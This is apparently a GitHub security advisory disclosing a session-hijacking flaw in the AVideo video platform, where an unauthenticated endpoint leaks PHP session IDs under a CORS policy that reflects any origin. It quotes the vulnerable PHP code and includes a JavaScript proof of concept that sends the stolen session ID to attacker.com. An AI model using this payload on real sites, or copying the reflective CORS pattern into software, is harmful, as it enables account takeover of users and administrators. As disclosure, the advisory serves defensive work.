GitHub Advisoryadvisory · Packagist
GHSA-qc3p-398r-p59j AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS
HIGH
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- Aliases
- CVE-2026-33043
- Ecosystem
- Packagist
- Packages
- wwbn/avideo
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-942
- Reviewed
- 2026-03-17
Affected packages
• Packagist wwbn/avideo: <= 25.0 (no fix yet)
Description
Summary
`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.
Details
File: `objects/phpsessionid.json.php`
```php
allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);
```
No authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:
```php
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");
```
This means any external website can make a credentialed cross-origin request and read the session ID.
PoC
An attacker hosts the following page:
```html
fetch('https://TARGET/objects/phpsessionid.json.php', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// d.phpsessid = victim's session ID
document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
```
When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.
Impact
Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.
Related
Alias · CVE (1)
- CVE-2026-33043 WWBN AVideo is an open source video platform. vulnerability
Weakness · CWE (1)
- CWE-942 Permissive Cross-domain Security Policy with Untrusted Domains weakness